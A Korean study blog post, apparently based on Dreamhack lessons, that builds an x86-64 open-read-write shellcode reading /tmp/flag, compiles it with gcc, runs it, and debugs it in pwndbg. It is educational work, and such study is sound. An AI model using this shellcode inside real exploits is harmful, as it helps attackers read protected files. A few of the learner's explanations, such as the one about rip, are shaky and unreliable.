용어 정리
익스플로잇 : 해킹 분야에서 상대 시스템을 공격하는 것. 상대 시스템에 침투하여 시스템을 악용하는 해킹
셸코드 : 익스플로잇을 위해 제작된 어셈블리 코드 조각.
셸(Shell) : 사용자가 운영체제와 상호작용할 수 있도록 하는 명령줄 인터페이스
파일 서술자 (fd) : 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자. 0번은 입력, 1번은 출력
orw 셸코드 작성
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
/tmp/flag 파일을 열고, 읽은 뒤 화면에 출력해주는 것을 어셈블리로 구현해보자.
(1) int fd = open("/tmp/flag", RD_ONLY, NULL)
첫 번째로 int fd = open("/tmp/flag", RD_ONLY, NULL); 부분 구현이다.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
이게 드림핵에서 작성된 어셈블리 코드이다.
첫 번째로 해야할 것은 메모리에 /tmp/flag 를 올려야한다.
각 문자들 "/", "t", "m", .....들을 16진수로 표현하였을 때 총 9바이트가 나온다.
하지만 스택에는 8바이트씩 밖에 입력이 되지 않으므로 일부분을 잘라서 써야한다
그래서 이런식으로 push 하는 것 같다. 그리고, a가 있는 곳에 현재 rsp(스택포인터)가 위치하고 있다.
그 다음 확인해야할 부분은 mov rdi, rsp 부분인데, rsp의 값을 rdi에 대입한다는 코드이다. 목적지 인덱스 레지스터에 rsp(스택 포인터)를 대입하였다.
xor rsi, rsi : rsi(근원지 인덱스 레지스터)에 XOR을 하여 0을 만드는 것인데, O_RDONLY의 값이 0이라서 그렇게 설정한 것 같고,
xor rdx, rdx : rdx(데이터 레지스터)에 xor을 하여 0을 만드는 것인데, 파일 읽을때의 mode값 설정인 듯 하다
mov rax, 2: rax(누산 레지스터)에 2를 설정하는 것인데, open의 syscall 값인 2를 설정한 것이다.
그리고 syscall 을 한다.
(2) read(fd, buf, 0x30)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
위에서 syscall을 하면 반환값이 나오는데, 이는 rax에 저장된다. -> open으로 획득한 /tmp/flag 의 fd(파일 기술자)는 rax에 저장된다.
이를 rdi(목적지 인덱스 레지스터)에 저장하기 위해 mov rdi, rax 를 이용한다
그 다음, rsi(근원지 인덱스 레지스터)에는 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 거라고 되어 있는데(why?)
스택 포인트에서 0x30만큼 뺀 지점에서부터 데이터를 읽을 것이기 때문에 rsi-0x30을 계산하기 위해
mov rsi, rsp (rsi에 rsp를 대입), sub rsi, 0x30으로 계산을 완료하였다
그리고 0x30만큼 읽을거라고 rdx에 mov rdx, 0x30을 이용하여 0x30의 값을 대입하였다. rax 는 0을 대입하고 , syscall을 한다.
(3) write(1, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
표준 출력 1을 입력하여주고, read에서 사용한 값을 그대로 사용할 것이기 때문에
mov rdi =1 (펴준 출력)을 해주고, syscal을 위해 rax 1을 해준다
최종적으로 종합하면
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw 셸코드 컴파일 및 실행
위에서 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드 이므로, 기계어로 치환하면 CPI는 이해할 수 있으나, ELF(Execitable and Linkable Format) 형식이 아니므로 리눅스에서 실행될 수 없다. 고로 gcc 컴파일을 해보자.
(이제 드디어 vs 코드에서도 잘 깔아서 실행이 됨)
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
이렇게 해놓고
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
이것 입력 후
$ gcc -o orw orw.c -masm=intel
$ ./orw
이걸 입력하니
결과값이 잘 나왔다.
확실히 가상머신에서 겨우 vscode 에서 되니까 매우매우 편하고 잘 작동한다.
orw 셸코드 디버깅
$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
pwndbg>
b : break, 즉 orw를 gdb로 열고, run_sh()에 브레이크 포인터를 열었다.
그 후 , r(run)명령어를 입력하면 run_sh() 의 시작부분까지 코드가 작성되어서, push 0x67부분에서 멈춰있다.-> rip
rip는 스택 마지막 부분(제일 높은 주소) 인 것 같다
(1) int fd = open("tmp/flag", O_RDONLY, NULL)
첫 번째 syscall 이 위치한 run_sh+29에 break를 걸어서 인자를 확인하자
나머지는 드림핵
https://learn.dreamhack.io/50#7여기서 나온 그대로이다.
로그인 | Dreamhack
dreamhack.io
초기화되지 않은 메모리 영역 사용
가끔 알수없는 문자열이 출력되느 경우가 있다
이는 초기화되지 않은 메모리사용(Use of Uninitialzed Memory)이다.
이럴 경우, read 시스템 콜을 실행한 직후로 돌아가 원인을 분석해볼 수 있다.
쓰레기값은 해커에 입장에서 쓰레기 값이 아님. 이 런 작업을 메모리 릭이라고 함.
에필로그
처음이라서 그런가, 조금 많이 어색하고 중간중간에 섞이는 게 많아서 잘 안 된 거 같고, 무엇보다 레지스터 해석하는 게 좀 힘들긴 하다. 좀 더 많이 연습해봐야겠다.
+ vs코드에서 실행이 되니 확실히 편하다
'보안 스터디 > 시스템 해킹' 카테고리의 다른 글
[드림핵/워게임] shell_basic (포너블/시스템해킹) (1) | 2024.01.27 |
---|---|
[드림핵/시스템해킹] Exploit Tech: Shellcode -2 (0) | 2023.12.31 |
[드림핵/시스템해킹] Tools : gdb -2 (0) | 2023.12.29 |
[드림핵 /시스템 해킹] pwndbg 설치하기 (Tools : gdb) (1) | 2023.12.28 |
[드림핵] Tools : gdb (시스템 해킹) (1) | 2023.12.20 |